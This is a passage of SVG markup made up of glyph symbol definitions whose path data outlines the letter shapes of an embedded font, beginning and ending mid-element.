7.101562 -2.109375 7.4375 -2.234375 C 7.769531 -2.359375 8.070312 -2.507812 8.34375 -2.6875 Z M 8.84375 -0.5625"/></symbol><symbol overflow="visible" id="M"><path d="M 0.078125 -10 L 1.1875 -10 L 1.1875 -11.875 L 3.5625 -12.625 L 3.5625 -10 L 5.5 -10 L 5.5 -7.875 L 3.5625 -7.875 L 3.5625 -3.515625 C 3.5625 -2.941406 3.617188 -2.535156 3.734375 -2.296875 C 3.847656 -2.054688 4.050781 -1.9375 4.34375 -1.9375 C 4.539062 -1.9375 4.71875 -1.957031 4.875 -2 C 5.039062 -2.039062 5.21875 -2.101562 5.40625 -2.1875 L 5.703125 -0.28125 C 5.410156 -0.132812 5.066406 -0.015625 4.671875 0.078125 C 4.285156 0.179688 3.878906 0.234375 3.453125 0.234375 C 2.691406 0.234375 2.125 0.015625 1.75 -0.421875 C 1.375 -0.859375 1.1875 -1.597656 1.1875 -2.640625 L 1.1875 -7.875 L 0.078125 -7.875 Z M 0.078125 -10"/></symbol><symbol overflow="visible" id="N"><path d="M 4.0625 -4.375 L 4.3125 -2.8125 L 4.421875 -2.8125 L 4.59375 -4.40625 L 5.765625 -10 L 8.203125 -10 L 5.703125 -0.984375 C 5.472656 -0.191406 5.257812 0.515625 5.0625 1.140625 C 4.863281 1.765625 4.648438 2.296875 4.421875 2.734375 C 4.191406 3.179688 3.929688 3.519531 3.640625 3.75 C 3.359375 3.976562 3.019531 4.09375 2.625 4.09375 C 2.34375 4.09375 2.070312 4.066406 1.8125 4.015625 C 1.550781 3.972656 1.328125 3.898438 1.140625 3.796875 L 1.546875 1.765625 C 1.710938 1.828125 1.882812 1.851562 2.0625 1.84375 C 2.25 1.84375 2.414062 1.773438 2.5625 1.640625 C 2.71875 1.515625 2.851562 1.316406 2.96875 1.046875 C 3.09375 0.785156 3.195312 0.4375 3.28125 0 L -0.203125 -10 L 2.65625 -10 Z M 4.0625 -4.375"/></symbol><symbol overflow="visible" id="O"><path d="M 0.421875 -2.3125 L 5.09375 -10.859375 L 5.9375 -11.6875 L 0.421875 -11.6875 L 0.421875 -14 L 8.484375 -14 L 8.484375 -11.6875 L 3.78125 -3.078125 L 2.953125 -2.3125 L 8.484375 -2.3125 L 8.484375 0 L 0.421875 0 Z M 0.421875 -2.3125"/></symbol><symbol overflow="visible" id="P"><path d="M 1.125 -14 L 3.640625 -14 L 3.640625 0 L 1.125 0 Z M 1.125 -14"/></symbol><symbol overflow="visible" id="Q"><path d="M 0.90625 -13.859375 C 1.382812 -13.960938 1.910156 -14.046875 2.484375 -14.109375 C 3.054688 -14.171875 3.628906 -14.203125 4.203125 -14.203125 C 4.816406 -14.203125 5.421875 -14.144531 6.015625 -14.03125 C 6.609375 -13.914062 7.132812 -13.691406 7.59375 -13.359375 C 8.0625 -13.023438 8.441406 -12.554688 8.734375 -11.953125 C 9.035156 -11.347656 9.1875 -10.554688 9.1875 -9.578125 C 9.1875 -8.703125 9.0625 -7.957031 8.8125 -7.34375 C 8.5625 -6.726562 8.226562 -6.226562 7.8125 -5.84375 C 7.40625 -5.457031 6.929688 -5.175781 6.390625 -5 C 5.847656 -4.820312 5.289062 -4.734375 4.71875 -4.734375 C 4.664062 -4.734375 4.578125 -4.734375 4.453125 -4.734375 C 4.335938 -4.734375 4.210938 -4.738281 4.078125 -4.75 C 3.941406 -4.757812 3.8125 -4.769531 3.6875 -4.78125 C 3.5625 -4.789062 3.472656 -4.800781 3.421875 -4.8125 L 3.421875 0 L 0.90625 0 Z M 3.421875 -7.078125 C 3.503906 -7.054688 3.65625 -7.035156 3.875 -7.015625 C 4.09375 -6.992188 4.238281 -6.984375 4.3125 -6.984375 C 4.613281 -6.984375 4.894531 -7.019531 5.15625 -7.09375 C 5.425781 -7.175781 5.664062 -7.3125 5.875 -7.5 C 6.082031 -7.695312 6.242188 -7.960938 6.359375 -8.296875 C 6.484375 -8.640625 6.546875 -9.070312 6.546875 -9.59375 C 6.546875 -10.039062 6.488281 -10.414062 6.375 -10.71875 C 6.257812 -11.03125 6.101562 -11.273438 5.90625 -11.453125 C 5.71875 -11.628906 5.492188 -11.753906 5.234375 -11.828125 C 4.984375 -11.910156 4.71875 -11.953125 4.4375 -11.953125 C 4.019531 -11.953125 3.679688 -11.921875 3.421875 -11.859375 Z M 3.421875 -7.078125"/></symbol><symbol overflow="visible" id="R"><path d="M 0.5 -5 C 0.5 -6.769531 0.84375 -8.085938 1.53125 -8.953125 C 2.226562 -9.828125 3.195312 -10.265625 4.4375 -10.265625 C 5.769531 -10.265625 6.765625 -9.820312 7.421875 -8.9375 C 8.078125 -8.0625 8.40625 -6.75 8.40625 -5 C 8.40625 -3.207031 8.054688 -1.878906 7.359375 -1.015625 C 6.660156 -0.160156 5.6875 0.265625 4.4375 0.265625 C 1.8125 0.265625 0.5 -1.488281 0.5 -5 Z M 2.953125 -5 C 2.953125 -4 3.066406 -3.222656 3.296875 -2.671875 C 3.523438 -2.128906 3.90625 -1.859375 4.4375 -1.859375 C 4.945312 -1.859375 5.320312 -2.09375 5.5625 -2.5625 C 5.8125 -3.039062 5.9375 -3.851562 5.9375 -5 C 5.9375 -6.03125 5.820312 -6.8125 5.59375 -7.34375 C 5.375 -7.875 4.988281 -8.140625 4.4375 -8.140625 C 3.96875 -8.140625 3.601562 -7.898438 3.34375 -7.421875 C 3.082031 -6.953125 2.953125 -6.144531 2.953125 -5 Z M 2.953125 -5"/></symbol><symbol overflow="visible" id="S"><path d="M 5.796875 -3.59375 C 5.796875 -4.019531 5.671875 -4.382812 5.421875 -4.6875 C 5.171875 -4.988281 4.851562 -5.269531 4.46875 -5.53125 C 4.09375 -5.800781 3.679688 -6.078125 3.234375 -6.359375 C 2.785156 -6.640625 2.367188 -6.96875 1.984375 -7.34375 C 1.609375 -7.71875 1.289062 -8.15625 1.03125 -8.65625 C 0.78125 -9.164062 0.65625 -9.785156 0.65625 -10.515625 C 0.65625 -11.203125 0.757812 -11.78125 0.96875 -12.25 C 1.175781 -12.71875 1.457031 -13.101562 1.8125 -13.40625 C 2.175781 -13.707031 2.601562 -13.925781 3.09375 -14.0625 C 3.59375 -14.207031 4.125 -14.28125 4.6875 -14.28125 C 5.363281 -14.28125 5.992188 -14.210938 6.578125 -14.078125 C 7.160156 -13.941406 7.648438 -13.765625 8.046875 -13.546875 L 7.265625 -11.3125 C 7.035156 -11.476562 6.695312 -11.625 6.25 -11.75 C 5.800781 -11.882812 5.316406 -11.953125 4.796875 -11.953125 C 4.273438 -11.953125 3.875 -11.84375 3.59375 -11.625 C 3.320312 -11.414062 3.1875 -11.109375 3.1875 -10.703125 C 3.1875 -10.328125 3.3125 -9.992188 3.5625 -9.703125 C 3.8125 -9.421875 4.125 -9.144531 4.5 -8.875 C 4.882812 -8.613281 5.300781 -8.335938 5.75 -8.046875 C 6.195312 -7.765625 6.609375 -7.429688 6.984375 -7.046875 C 7.367188 -6.671875 7.6875 -6.222656 7.9375 -5.703125 C 8.1875 -5.191406 8.3125 -4.582031 8.3125 -3.875 C 8.3125 -3.164062 8.207031 -2.550781 8 -2.03125 C 7.800781 -1.519531 7.507812 -1.09375 7.125 -0.75 C 6.75 -0.40625 6.289062 -0.148438 5.75 0.015625 C 5.21875 0.191406 4.628906 0.28125 3.984375 0.28125 C 3.148438 0.28125 2.421875 0.195312 1.796875 0.03125 C 1.179688 -0.125 0.707031 -0.300781 0.375 -0.5 L 1.203125 -2.765625 C 1.460938 -2.597656 1.828125 -2.4375 2.296875 -2.28125 C 2.765625 -2.125 3.265625 -2.046875 3.796875 -2.046875 C 5.128906 -2.046875 5.796875 -2.5625 5.796875 -3.59375 Z M 5.796875 -3.59375"/></symbol><symbol overflow="visible" id="T"><path d="M 0.875 -9.40625 C 1.28125 -9.644531 1.78125 -9.835938 2.375 -9.984375 C 2.976562 -10.128906 3.660156 -10.203125 4.421875 -10.203125 C 5.554688 -10.203125 6.34375 -9.90625 6.78125 -9.3125 C 7.226562 -8.726562 7.453125 -7.894531 7.453125 -6.8125 C 7.453125 -6.1875 7.4375 -5.570312 7.40625 -4.96875 C 7.375 -4.363281 7.347656 -3.769531 7.328125 -3.1875 C 7.316406 -2.601562 7.328125 -2.039062 7.359375 -1.5 C 7.398438 -0.96875 7.492188 -0.460938 7.640625 0.015625 L 5.703125 0.015625 L 5.3125 -1.203125 L 5.234375 -1.203125 C 5.023438 -0.816406 4.726562 -0.492188 4.34375 -0.234375 C 3.957031 0.015625 3.46875 0.140625 2.875 0.140625 C 2.09375 0.140625 1.472656 -0.117188 1.015625 -0.640625 C 0.566406 -1.171875 0.34375 -1.878906 0.34375 -2.765625 C 0.34375 -3.960938 0.769531 -4.8125 1.625 -5.3125 C 2.476562 -5.820312 3.628906 -6.035156 5.078125 -5.953125 C 5.148438 -6.734375 5.101562 -7.296875 4.9375 -7.640625 C 4.769531 -7.984375 4.410156 -8.15625 3.859375 -8.15625 C 3.460938 -8.15625 3.050781 -8.109375 2.625 -8.015625 C 2.195312 -7.921875 1.816406 -7.789062 1.484375 -7.625 Z M 3.734375 -1.90625 C 4.097656 -1.90625 4.390625 -1.992188 4.609375 -2.171875 C 4.835938 -2.347656 5.007812 -2.546875 5.125 -2.765625 L 5.125 -4.421875 C 4.8125 -4.460938 4.515625 -4.46875 4.234375 -4.4375 C 3.953125 -4.414062 3.707031 -4.359375 3.5 -4.265625 C 3.289062 -4.171875 3.117188 -4.03125 2.984375 -3.84375 C 2.859375 -3.664062 2.796875 -3.4375 2.796875 -3.15625 C 2.796875 -2.75 2.878906 -2.4375 3.046875 -2.21875 C 3.210938 -2.007812 3.441406 -1.90625 3.734375 -1.90625 Z M 3.734375 -1.90625"/></symbol><symbol overflow="visible" id="k"><path d="M 1.0625 -1.671875 C 1.289062 -1.515625 1.609375 -1.367188 2.015625 -1.234375 C 2.429688 -1.097656 2.90625 -1.03125 3.4375 -1.03125 C 4.113281 -1.03125 4.660156 -1.191406 5.078125 -1.515625 C 5.492188 -1.847656 5.703125 -2.367188 5.703125 -3.078125 C 5.703125 -3.546875 5.582031 -3.953125 5.34375 -4.296875 C 5.101562 -4.648438 4.800781 -4.972656 4.4375 -5.265625 C 4.082031 -5.554688 3.695312 -5.84375 3.28125 -6.125 C 2.863281 -6.40625 2.472656 -6.71875 2.109375 -7.0625 C 1.753906 -7.40625 1.457031 -7.796875 1.21875 -8.234375 C 0.976562 -8.679688 0.859375 -9.21875 0.859375 -9.84375 C 0.859375 -10.851562 1.160156 -11.597656 1.765625 -12.078125 C 2.378906 -12.566406 3.171875 -12.8125 4.140625 -12.8125 C 4.742188 -12.8125 5.273438 -12.753906 5.734375 -12.640625 C 6.203125 -12.535156 6.582031 -12.398438 6.875 -12.234375 L 6.4375 -11.046875 C 6.226562 -11.179688 5.921875 -11.300781 5.515625 -11.40625 C 5.109375 -11.519531 4.644531 -11.578125 4.125 -11.578125 C 3.476562 -11.578125 3 -11.414062 2.6875 -11.09375 C 2.375 -10.78125 2.21875 -10.382812 2.21875 -9.90625 C 2.21875 -9.476562 2.335938 -9.101562 2.578125 -8.78125 C 2.816406 -8.457031 3.113281 -8.148438 3.46875 -7.859375 C 3.832031 -7.578125 4.21875 -7.285156 4.625 -6.984375 C 5.039062 -6.691406 5.429688 -6.363281 5.796875 -6 C 6.160156 -5.644531 6.460938 -5.238281 6.703125 -4.78125 C 6.941406 -4.332031 7.0625 -3.796875 7.0625 -3.171875 C 7.0625 -2.109375 6.75 -1.273438 6.125 -0.671875 C 5.5 -0.078125 4.613281 0.21875 3.46875 0.21875 C 2.75 0.21875 2.160156 0.148438 1.703125 0.015625 C 1.242188 -0.117188 0.875 -0.269531 0.59375 -0.4375 Z M 1.0625 -1.671875"/></symbol><symbol overflow="visible" id="l"><path d="M 0.15625 -9 L 1.265625 -9 L 1.265625 -10.78125 L 2.5625 -11.203125 L 2.5625 -9 L 4.5 -9 L 4.5 -7.828125 L 2.5625 -7.828125 L 2.5625 -2.46875 C 2.5625 -1.9375 2.625 -1.550781 2.75 -1.3125 C 2.875 -1.082031 3.078125 -0.96875 3.359375 -0.96875 C 3.597656 -0.96875 3.804688 -0.992188 3.984375 -1.046875 C 4.160156 -1.109375 4.347656 -1.179688 4.546875 -1.265625 L 4.8125 -0.234375 C 4.539062 -0.0976562 4.242188 0.00390625 3.921875 0.078125 C 3.609375 0.160156 3.28125 0.203125 2.9375 0.203125 C 2.332031 0.203125 1.898438 0.0078125 1.640625 -0.375 C 1.390625 -0.769531 1.265625 -1.40625 1.265625 -2.28125 L 1.265625 -7.828125 L 0.15625 -7.828125 Z M 0.15625 -9"/></symbol><symbol overflow="visible" id="m"><path d="M 1.0625 -9 L 1.984375 -9 L 2.21875 -8.046875 L 2.265625 -8.046875 C 2.429688 -8.390625 2.648438 -8.660156 2.921875 -8.859375 C 3.191406 -9.054688 3.519531 -9.15625 3.90625 -9.15625 C 4.175781 -9.15625 4.488281 -9.101562 4.84375 -9 L 4.59375 -7.6875 C 4.28125 -7.789062 4.003906 -7.84375 3.765625 -7.84375 C 3.378906 -7.84375 3.066406 -7.734375 2.828125 -7.515625 C 2.585938 -7.296875 2.429688 -7 2.359375 -6.625 L 2.359375 0 L 1.0625 0 Z M 1.0625 -9"/></symbol><symbol overflow="visible" id="n"><path d="M 6.4375 -0.609375 C 6.15625 -0.347656 5.789062 -0.144531 5.34375 0 C 4.90625 0.144531 4.4375 0.21875 3.9375 0.21875 C 3.375 0.21875 2.882812 0.109375 2.46875 -0.109375 C 2.0625 -0.335938 1.722656 -0.65625 1.453125 -1.0625 C 1.179688 -1.476562 0.984375 -1.972656 0.859375 -2.546875 C 0.734375 -3.128906 0.671875 -3.78125 0.671875 -4.5 C 0.671875 -6.03125 0.953125 -7.195312 1.515625 -8 C 2.078125 -8.8125 2.875 -9.21875 3.90625 -9.21875 C 4.238281 -9.21875 4.570312 -9.175781 4.90625 -9.09375 C 5.238281 -9.007812 5.535156 -8.835938 5.796875 -8.578125 C 6.054688 -8.328125 6.265625 -7.972656 6.421875 -7.515625 C 6.585938 -7.066406 6.671875 -6.472656 6.671875 -5.734375 C 6.671875 -5.535156 6.660156 -5.316406 6.640625 -5.078125 C 6.628906 -4.847656 6.613281 -4.609375 6.59375 -4.359375 L 2.015625 -4.359375 C 2.015625 -3.835938 2.054688 -3.367188 2.140625 -2.953125 C 2.222656 -2.535156 2.351562 -2.175781 2.53125 -1.875 C 2.71875 -1.582031 2.953125 -1.351562 3.234375 -1.1875 C 3.515625 -1.03125 3.863281 -0.953125 4.28125 -0.953125 C 4.601562 -0.953125 4.921875 -1.007812 5.234375 -1.125 C 5.554688 -1.25 5.800781 -1.394531 5.96875 -1.5625 Z M 5.4375 -5.4375 C 5.457031 -6.332031 5.328125 -6.988281 5.046875 -7.40625 C 4.773438 -7.832031 4.398438 -8.046875 3.921875 -8.046875 C 3.367188 -8.046875 2.929688 -7.832031 2.609375 -7.40625 C 2.285156 -6.988281 2.09375 -6.332031 2.03125 -5.4375 Z M 5.4375 -5.4375"/></symbol><symbol overflow="visible" id="p"><path d="M 0.96875 -8.453125 C 1.320312 -8.671875 1.742188 -8.835938 2.234375 -8.953125 C 2.734375 -9.078125 3.257812 -9.140625 3.8125 -9.140625 C 4.320312 -9.140625 4.726562 -9.0625 5.03125 -8.90625 C 5.332031 -8.757812 5.570312 -8.554688 5.75 -8.296875 C 5.925781 -8.046875 6.039062 -7.753906 6.09375 -7.421875 C 6.144531 -7.097656 6.171875 -6.753906 6.171875 -6.390625 C 6.171875 -5.671875 6.15625 -4.96875 6.125 -4.28125 C 6.09375 -3.601562 6.078125 -2.957031 6.078125 -2.34375 C 6.078125 -1.882812 6.09375 -1.457031 6.125 -1.0625 C 6.15625 -0.675781 6.210938 -0.3125 6.296875 0.03125 L 5.3125 0.03125 L 5 -1.03125 L 4.9375 -1.03125 C 4.75 -0.71875 4.484375 -0.445312 4.140625 -0.21875 C 3.796875 0.0078125 3.328125 0.125 2.734375 0.125 C 2.085938 0.125 1.554688 -0.0976562 1.140625 -0.546875 C 0.722656 -0.992188 0.515625 -1.613281 0.515625 -2.40625 C 0.515625 -2.925781 0.601562 -3.359375 0.78125 -3.703125 C 0.957031 -4.054688 1.203125 -4.335938 1.515625 -4.546875 C 1.835938 -4.765625 2.21875 -4.914062 2.65625 -5 C 3.09375 -5.09375 3.582031 -5.140625 4.125 -5.140625 C 4.238281 -5.140625 4.351562 -5.140625 4.46875 -5.140625 C 4.59375 -5.140625 4.722656 -5.132812 4.859375 -5.125 C 4.890625 -5.5 4.90625 -5.832031 4.90625 -6.125 C 4.90625 -6.800781 4.800781 -7.273438 4.59375 -7.546875 C 4.394531 -7.828125 4.023438 -7.96875 3.484375 -7.96875 C 3.148438 -7.96875 2.785156 -7.914062 2.390625 -7.8125 C 1.992188 -7.71875 1.664062 -7.59375 1.40625 -7.4375 Z M 4.875 -4.109375 C 4.757812 -4.117188 4.640625 -4.125 4.515625 -4.125 C 4.398438 -4.132812 4.28125 -4.140625 4.15625 -4.140625 C 3.863281 -4.140625 3.578125 -4.113281 3.296875 -4.0625 C 3.023438 -4.019531 2.78125 -3.9375 2.5625 -3.8125 C 2.351562 -3.695312 2.1875 -3.535156 2.0625 -3.328125 C 1.9375 -3.128906 1.875 -2.875 1.875 -2.5625 C 1.875 -2.082031 1.988281 -1.707031 2.21875 -1.4375 C 2.457031 -1.175781 2.757812 -1.046875 3.125 -1.046875 C 3.632812 -1.046875 4.023438 -1.164062 4.296875 -1.40625 C 4.578125 -1.644531 4.769531 -1.910156 4.875 -2.203125 Z M 4.875 -4.109375"/></symbol><symbol overflow="visible" id="q"><path d="M 6.734375 -3.09375 C 6.734375 -2.476562 6.738281 -1.921875 6.75 -1.421875 C 6.757812 -0.929688 6.800781 -0.445312 6.875 0.03125 L 6 0.03125 L 5.703125 -1.046875 L 5.640625 -1.046875 C 5.460938 -0.679688 5.191406 -0.378906 4.828125 -0.140625 C 4.472656 0.0976562 4.046875 0.21875 3.546875 0.21875 C 2.578125 0.21875 1.851562 -0.15625 1.375 -0.90625 C 0.90625 -1.664062 0.671875 -2.859375 0.671875 -4.484375 C 0.671875 -6.015625 0.957031 -7.175781 1.53125 -7.96875 C 2.113281 -8.757812 2.914062 -9.15625 3.9375 -9.15625 C 4.289062 -9.15625 4.566406 -9.132812 4.765625 -9.09375 C 4.972656 -9.050781 5.195312 -8.984375 5.4375 -8.890625 L 5.4375 -12.59375 L 6.734375 -12.59375 Z M 5.4375 -7.578125 C 5.269531 -7.722656 5.078125 -7.828125 4.859375 -7.890625 C 4.648438 -7.953125 4.375 -7.984375 4.03125 -7.984375 C 3.394531 -7.984375 2.898438 -7.695312 2.546875 -7.125 C 2.191406 -6.550781 2.015625 -5.664062 2.015625 -4.46875 C 2.015625 -3.9375 2.046875 -3.457031 2.109375 -3.03125 C 2.179688 -2.601562 2.285156 -2.234375 2.421875 -1.921875 C 2.554688 -1.609375 2.734375 -1.367188 2.953125 -1.203125 C 3.179688 -1.035156 3.457031 -0.953125 3.78125 -0.953125 C 4.644531 -0.953125 5.195312 -1.460938 5.4375 -2.484375 Z M 5.4375 -7.578125"/></symbol><symbol overflow="visible" id="r"><path d="M 0.921875 -1.46875 C 1.160156 -1.332031 1.441406 -1.210938 1.765625 -1.109375 C 2.097656 -1.003906 2.441406 -0.953125 2.796875 -0.953125 C 3.191406 -0.953125 3.523438 -1.050781 3.796875 -1.25 C 4.078125 -1.445312 4.21875 -1.769531 4.21875 -2.21875 C 4.21875 -2.582031 4.128906 -2.882812 3.953125 -3.125 C 3.785156 -3.363281 3.570312 -3.578125 3.3125 -3.765625 C 3.0625 -3.960938 2.785156 -4.140625 2.484375 -4.296875 C 2.179688 -4.460938 1.898438 -4.660156 1.640625 -4.890625 C 1.390625 -5.117188 1.175781 -5.390625 1 -5.703125 C 0.832031 -6.015625 0.75 -6.410156 0.75 -6.890625 C 0.75 -7.660156 0.957031 -8.238281 1.375 -8.625 C 1.789062 -9.019531 2.375 -9.21875 3.125 -9.21875 C 3.625 -9.21875 4.050781 -9.171875 4.40625 -9.078125 C 4.769531 -8.992188 5.082031 -8.875 5.34375 -8.71875 L 5 -7.625 C 4.769531 -7.75 4.503906 -7.847656 4.203125 -7.921875 C 3.910156 -8.003906 3.609375 -8.046875 3.296875 -8.046875 C 2.859375 -8.046875 2.539062 -7.953125 2.34375 -7.765625 C 2.144531 -7.585938 2.046875 -7.3125 2.046875 -6.9375 C 2.046875 -6.632812 2.128906 -6.375 2.296875 -6.15625 C 2.472656 -5.945312 2.6875 -5.753906 2.9375 -5.578125 C 3.195312 -5.410156 3.476562 -5.234375 3.78125 -5.046875 C 4.082031 -4.867188 4.359375 -4.65625 4.609375 -4.40625 C 4.867188 -4.164062 5.082031 -3.875 5.25 -3.53125 C 5.425781 -3.195312 5.515625 -2.769531 5.515625 -2.25 C 5.515625 -1.914062 5.457031 -1.597656 5.34375 -1.296875 C 5.238281 -0.992188 5.070312 -0.734375 4.84375 -0.515625 C 4.625 -0.296875 4.347656 -0.117188 4.015625 0.015625 C 3.691406 0.148438 3.304688 0.21875 2.859375 0.21875 C 2.328125 0.21875 1.867188 0.164062 1.484375 0.0625 C 1.109375 -0.0390625 0.785156 -0.175781 0.515625 -0.34375 Z M 0.921875 -1.46875"/></symbol><symbol overflow="visible" id="s"><path d="M 0.640625 -0.78125 C 0.640625 -1.070312 0.726562 -1.304688 0.90625 -1.484375 C 1.082031 -1.671875 1.304688 -1.765625 1.578125 -1.765625 C 1.890625 -1.765625 2.144531 -1.640625 2.34375 -1.390625 C 2.539062 -1.140625 2.640625 -0.742188 2.640625 -0.203125 C 2.640625 0.191406 2.585938 0.546875 2.484375 0.859375 C 2.390625 1.179688 2.257812 1.460938 2.09375 1.703125 C 1.9375 1.941406 1.757812 2.140625 1.5625 2.296875 C 1.375 2.453125 1.191406 2.566406 1.015625 2.640625 L 0.5625 2.03125 C 0.71875 1.945312 0.863281 1.835938 1 1.703125 C 1.132812 1.566406 1.242188 1.410156 1.328125 1.234375 C 1.421875 1.066406 1.492188 0.890625 1.546875 0.703125 C 1.597656 0.523438 1.625 0.34375 1.625 0.15625 C 1.382812 0.226562 1.160156 0.179688 0.953125 0.015625 C 0.742188 -0.148438 0.640625 -0.414062 0.640625 -0.78125 Z M 0.640625 -0.78125"/></symbol><symbol overflow="visible" id="t"><path d="M 1.15625 -12.46875 C 1.539062 -12.582031 1.945312 -12.65625 2.375 -12.6875 C 2.8125 -12.726562 3.238281 -12.75 3.65625 -12.75 C 4.132812 -12.75 4.609375 -12.691406 5.078125 -12.578125 C 5.546875 -12.472656 5.96875 -12.273438 6.34375 -11.984375 C 6.71875 -11.703125 7.019531 -11.304688 7.25 -10.796875 C 7.488281 -10.296875 7.609375 -9.65625 7.609375 -8.875 C 7.609375 -8.113281 7.5 -7.46875 7.28125 -6.9375 C 7.0625 -6.414062 6.765625 -5.988281 6.390625 -5.65625 C 6.023438 -5.332031 5.601562 -5.09375 5.125 -4.9375 C 4.65625 -4.789062 4.171875 -4.71875 3.671875 -4.71875 C 3.617188 -4.71875 3.539062 -4.71875 3.4375 -4.71875 C 3.332031 -4.71875 3.21875 -4.71875 3.09375 -4.71875 C 2.976562 -4.726562 2.863281 -4.738281 2.75 -4.75 C 2.632812 -4.757812 2.550781 -4.769531 2.5 -4.78125 L 2.5 0 L 1.15625 0 Z M 3.71875 -11.5 C 3.476562 -11.5 3.25 -11.488281 3.03125 -11.46875 C 2.8125 -11.457031 2.632812 -11.429688 2.5 -11.390625 L 2.5 -6.03125 C 2.550781 -6.007812 2.625 -5.992188 2.71875 -5.984375 C 2.820312 -5.972656 2.925781 -5.960938 3.03125 -5.953125 C 3.144531 -5.953125 3.253906 -5.953125 3.359375 -5.953125 C 3.460938 -5.953125 3.535156 -5.953125 3.578125 -5.953125 C 3.921875 -5.953125 4.242188 -5.992188 4.546875 -6.078125 C 4.859375 -6.160156 5.132812 -6.3125 5.375 -6.53125 C 5.613281 -6.757812 5.804688 -7.0625 5.953125 -7.4375 C 6.109375 -7.820312 6.1875 -8.300781 6.1875 -8.875 C 6.1875 -9.375 6.117188 -9.789062 5.984375 -10.125 C 5.847656 -10.46875 5.664062 -10.738281 5.4375 -10.9375 C 5.21875 -11.144531 4.957031 -11.289062 4.65625 -11.375 C 4.363281 -11.457031 4.050781 -11.5 3.71875 -11.5 Z M 3.71875 -11.5"/></symbol><symbol overflow="visible" id="u"><path d="M 0.703125 -0.8125 C 0.703125 -1.144531 0.78125 -1.394531 0.9375 -1.5625 C 1.101562 -1.726562 1.328125 -1.8125 1.609375 -1.8125 C 1.878906 -1.8125 2.09375 -1.726562 2.25 -1.5625 C 2.414062 -1.394531 2.5 -1.144531 2.5 -0.8125 C 2.5 -0.457031 2.414062 -0.195312 2.25 -0.03125 C 2.09375 0.132812 1.878906 0.21875 1.609375 0.21875 C 1.328125 0.21875 1.101562 0.132812 0.9375 -0.03125 C 0.78125 -0.195312 0.703125 -0.457031 0.703125 -0.8125 Z M 0.703125 -0.8125"/></symbol><symbol overflow="visible" id="v"><path d="M 0.78125 -6.296875 C 0.78125 -8.429688 1.117188 -10.050781 1.796875 -11.15625 C 2.484375 -12.257812 3.53125 -12.8125 4.9375 -12.8125 C 5.6875 -12.8125 6.328125 -12.65625 6.859375 -12.34375 C 7.390625 -12.039062 7.816406 -11.609375 8.140625 -11.046875 C 8.472656 -10.484375 8.71875 -9.800781 8.875 -9 C 9.03125 -8.195312 9.109375 -7.296875 9.109375 -6.296875 C 9.109375 -4.160156 8.757812 -2.539062 8.0625 -1.4375 C 7.375 -0.332031 6.332031 0.21875 4.9375 0.21875 C 4.1875 0.21875 3.546875 0.0664062 3.015625 -0.234375 C 2.492188 -0.546875 2.0625 -0.984375 1.71875 -1.546875 C 1.382812 -2.109375 1.144531 -2.789062 1 -3.59375 C 0.851562 -4.40625 0.78125 -5.304688 0.78125 -6.296875 Z M 2.203125 -6.296875 C 2.203125 -5.585938 2.25 -4.914062 2.34375 -4.28125 C 2.445312 -3.644531 2.609375 -3.085938 2.828125 -2.609375 C 3.046875 -2.128906 3.328125 -1.742188 3.671875 -1.453125 C 4.015625 -1.171875 4.4375 -1.03125 4.9375 -1.03125 C 5.832031 -1.03125 6.515625 -1.460938 6.984375 -2.328125 C 7.453125 -3.191406 7.6875 -4.515625 7.6875 -6.296875 C 7.6875 -6.992188 7.632812 -7.660156 7.53125 -8.296875 C 7.425781 -8.929688 7.265625 -9.488281 7.046875 -9.96875 C 6.835938 -10.457031 6.554688 -10.847656 6.203125 -11.140625 C 5.859375 -11.429688 5.4375 -11.578125 4.9375 -11.578125 C 4.039062 -11.578125 3.359375 -11.144531 2.890625 -10.28125 C 2.429688 -9.414062 2.203125 -8.085938 2.203125 -6.296875 Z M 2.203125 -6.296875"/></symbol><symbol overflow="visible" id="w"><path d="M 1.0625 -12.59375 L 2.359375 -12.59375 L 2.359375 -8.3125 L 2.40625 -8.3125 C 2.90625 -8.914062 3.5625 -9.21875 4.375 -9.21875 C 5.300781 -9.21875 5.992188 -8.847656 6.453125 -8.109375 C 6.910156 -7.378906 7.140625 -6.222656 7.140625 -4.640625 C 7.140625 -3.023438 6.832031 -1.820312 6.21875 -1.03125 C 5.601562 -0.238281 4.726562 0.15625 3.59375 0.15625 C 3.039062 0.15625 2.535156 0.09375 2.078125 -0.03125 C 1.628906 -0.15625 1.289062 -0.300781 1.0625 -0.46875 Z M 2.359375 -1.3125 C 2.523438 -1.21875 2.726562 -1.144531 2.96875 -1.09375 C 3.21875 -1.039062 3.484375 -1.015625 3.765625 -1.015625 C 4.390625 -1.015625 4.882812 -1.3125 5.25 -1.90625 C 5.613281 -2.5 5.796875 -3.410156 5.796875 -4.640625 C 5.796875 -5.160156 5.757812 -5.625 5.6875 -6.03125 C 5.625 -6.445312 5.523438 -6.804688 5.390625 -7.109375 C 5.253906 -7.410156 5.070312 -7.640625 4.84375 -7.796875 C 4.625 -7.960938 4.359375 -8.046875 4.046875 -8.046875 C 3.617188 -8.046875 3.265625 -7.914062 2.984375 -7.65625 C 2.703125 -7.394531 2.492188 -7.046875 2.359375 -6.609375 Z M 2.359375 -1.3125"/></symbol><symbol overflow="visible" id="x"><path d="M 0.671875 -4.5 C 0.671875 -6.125 0.945312 -7.316406 1.5 -8.078125 C 2.0625 -8.835938 2.859375 -9.21875 3.890625 -9.21875 C 4.992188 -9.21875 5.804688 -8.828125 6.328125 -8.046875 C 6.847656 -7.265625 7.109375 -6.082031 7.109375 -4.5 C 7.109375 -2.863281 6.828125 -1.664062 6.265625 -0.90625 C 5.703125 -0.15625 4.910156 0.21875 3.890625 0.21875 C 2.785156 0.21875 1.972656 -0.171875 1.453125 -0.953125 C 0.929688 -1.734375 0.671875 -2.914062 0.671875 -4.5 Z M 2.015625 -4.5 C 2.015625 -3.96875 2.046875 -3.484375 2.109375 -3.046875 C 2.179688 -2.617188 2.289062 -2.25 2.4375 -1.9375 C 2.582031 -1.625 2.773438 -1.378906 3.015625 -1.203125 C 3.265625 -1.035156 3.554688 -0.953125 3.890625 -0.953125 C 4.515625 -0.953125 4.984375 -1.226562 5.296875 -1.78125 C 5.609375 -2.34375 5.765625 -3.25 5.765625 -4.5 C 5.765625 -5.019531 5.726562 -5.5 5.65625 -5.9375 C 5.59375 -6.375 5.484375 -6.75 5.328125 -7.0625 C 5.179688 -7.375 4.988281 -7.613281 4.75 -7.78125 C 4.507812 -7.957031 4.222656 -8.046875 3.890625 -8.046875 C 3.273438 -8.046875 2.804688 -7.765625 2.484375 -7.203125 C 2.171875 -6.640625 2.015625 -5.738281 2.015625 -4.5 Z M 2.015625 -4.5"/></symbol><symbol overflow="visible" id="y"><path 